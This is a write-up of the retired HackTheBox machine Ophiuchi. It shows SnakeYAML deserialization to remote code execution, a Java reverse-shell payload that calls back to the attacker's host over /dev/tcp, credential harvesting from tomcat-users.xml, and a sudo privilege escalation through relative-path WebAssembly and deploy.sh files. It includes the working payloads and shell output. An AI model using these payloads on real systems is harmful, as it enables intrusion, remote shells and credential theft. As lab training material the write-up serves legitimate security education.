HTB: Ophiuchi

Ophiuchi card

This is a writeup about a retired HacktheBox machine: Ophiuchi created by felamos and publish on February 13, 2021. This box is classified as a medium machine. The user part involves YAML and deserialization as the root part involves webassembly binaries.

User

Reco

We start with an nmap scan. Only ports 22 (SSH) and 8080 (HTTP) are open.

# Nmap 7.91 scan initiated Sat Feb 20 04:02:47 2021 as: nmap -oN notes -sS -p- 10.129.98.255
Nmap scan report for 10.129.98.255
Host is up (0.014s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

# Nmap done at Sat Feb 20 04:03:22 2021 -- 1 IP address (1 host up) scanned in 35.41 seconds

Web

The web page is an Online YAML Parser. We quickly guess that this would be about YAML deserialization. A few "random" data generate a Java stack trace indicating the use of the Snake YAML library.

A Google search lead us to a medium article about exploiting YAML deserialization

We run an python http server and use the following payload

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.16:8000"]
  ]]
]

Despite the "error" message on the website we still got a hit on our Python HTTP server.

$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.98.255 - - [20/Feb/2021 04:25:51] "GET / HTTP/1.1" 200 -

A link in the medium article lead us to a github repository for a YAML payloads generator.

We change the paylaod to Runtime.getRuntime().exec("wget http://10.10.14.16:8000/boom"); and send it to the YAML parser

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.16:8000/yaml-payload.jar"]
  ]]
]

We got an other Java error "java.lang.UnsupportedClassVersionError: artsploit/AwesomeScriptEngineFactory has been compiled by a more recent version of the Java Runtime (class file version 60.0), this version of the Java Runtime only recognizes class file versions up to 55.0".

On my Kali Linux I am using openjdk with Java 16 so our javac produced a newer version of the code.

/usr/lib/jvm/java-16-openjdk-amd64/bin/javac

We just install Java 11 using sudo apt-get install openjdk-11-jdk and run the specific Java 11 compiler. Then we got a hit with our "second" payload

kali@kali:~/pown/htb_Ophiuchi/yaml-payload$ /usr/lib/jvm/java-11-openjdk-amd64/bin/javac src/artsploit/AwesomeScriptEngineFactory.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
kali@kali:~/pown/htb_Ophiuchi/yaml-payload$ jar -cvf yaml-payload.jar -C src/ .
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
adding: artsploit/(in = 0) (out= 0)(stored 0%)
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1620) (out= 680)(deflated 58%)
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1493) (out= 404)(deflated 72%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
kali@kali:~/pown/htb_Ophiuchi/yaml-payload$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.98.255 - - [20/Feb/2021 04:47:15] "GET /yaml-payload.jar HTTP/1.1" 200 -
10.129.98.255 - - [20/Feb/2021 04:47:15] "GET /yaml-payload.jar HTTP/1.1" 200 -
10.129.98.255 - - [20/Feb/2021 04:47:15] code 404, message File not found
10.129.98.255 - - [20/Feb/2021 04:47:15] "GET /boom HTTP/1.1" 404 -

We modify it to use the reverse shell Java payload from Payload all the things and catch the new exception in the Java code as shown in the code block below.

public AwesomeScriptEngineFactory() {
    try {
        Runtime r = Runtime.getRuntime();
        Process p = r.exec(new String[] { "/bin/bash", "-c", "exec 5<>/dev/tcp/10.10.14.16/4242;cat <&5 | while read line; do $line 2>&5 >&5; done" });
        p.waitFor();
    } catch (IOException | InterruptedException e) {
        e.printStackTrace();
    }
}

Running it give us a reverse shell as the tomcat user.

$ nc -l -p 4242
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Stored credential

We start enumerating and found out that the user is probably admin.

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:1001:1001::/opt/tomcat:/bin/false
admin:x:1000:1000:,,,:/home/admin:/bin/bash

When looking at the directories, we found a conf folder containing the tomcat-users.xml file. This file classically store the user that can access the tomcat manager panel (which is not exposed on this box).

ls -alR conf
conf:
total 240
drwxr-x--- 2 root tomcat   4096 Dec 28 00:37 .
drwxr-xr-x 9 root tomcat   4096 Oct 11 14:07 ..
-rw-r----- 1 root tomcat  12873 Sep 10 08:25 catalina.policy
-rw-r----- 1 root tomcat   7262 Sep 10 08:25 catalina.properties
-rw-r----- 1 root tomcat   1400 Sep 10 08:25 context.xml
-rw-r----- 1 root tomcat   1149 Sep 10 08:25 jaspic-providers.xml
-rw-r----- 1 root tomcat   2313 Sep 10 08:25 jaspic-providers.xsd
-rw-r----- 1 root tomcat   4144 Sep 10 08:25 logging.properties
-rw-r----- 1 root tomcat   7588 Sep 10 08:25 server.xml
-rw-r----- 1 root tomcat   2234 Dec 28 00:37 tomcat-users.xml
-rw-r----- 1 root tomcat   2558 Sep 10 08:25 tomcat-users.xsd
-rw-r----- 1 root tomcat 172359 Sep 10 08:25 web.xml

We look at the file and found a few default username and passwords and also the admin user with the whythereisalimit password.

cat conf/tomcat*
<?xml version="1.0" encoding="UTF-8"?>
<!--
<SNIP>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
        version="1.0">
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
SNIP>
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<SNIP>

We connect to the box with SSH using this user and got the first flag.

kali@kali:~$ #whythereisalimit
kali@kali:~$ ssh admin@10.129.98.255
admin@10.129.98.255's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64)
<SNIP>
admin@ophiuchi:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
admin@ophiuchi:~$ cat user.txt
6aa83180b3e469e3f5de725c639a601b

Root

We enumerate the box and quickly found out that we can execute a specific go program as root without password.

admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

The content of the "index.go" file is the following:

package main

import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)


func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

Basically the program read a webassemply file main.wasm using a relative path and if the file map "info" return 1 it run a bash script deploy.sh also using a relative path. We "just" need to create a new main.wasm that return 1 and a bash script that give us the root flag.

We download main.wasm and "decompile" it using wabt and its online wasm2wat "decompiler"

Using wat2wasm We just change the fourth line (i32.const 0)) to (i32.const 1)) and download the resulting wasm file. We upload it on the box in our home folder and create a deploy.sh bash file to display the root flag:

kali@kali:~/pown/htb_Ophiuchi$ scp  test.wasm  admin@10.129.98.255:main.wasm
admin@10.129.98.255's password:
test.wasm

admin@ophiuchi:~$ echo 'cat /root/root.txt' > deploy.sh
admin@ophiuchi:~$ chmod +x deploy.sh
admin@ophiuchi:~$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
d153e100b32fe456e149a86ef6468ac6

Wrapping up

A very interesting box that I would recommend to beginners as it is mostly straightforward with no rabbit hole.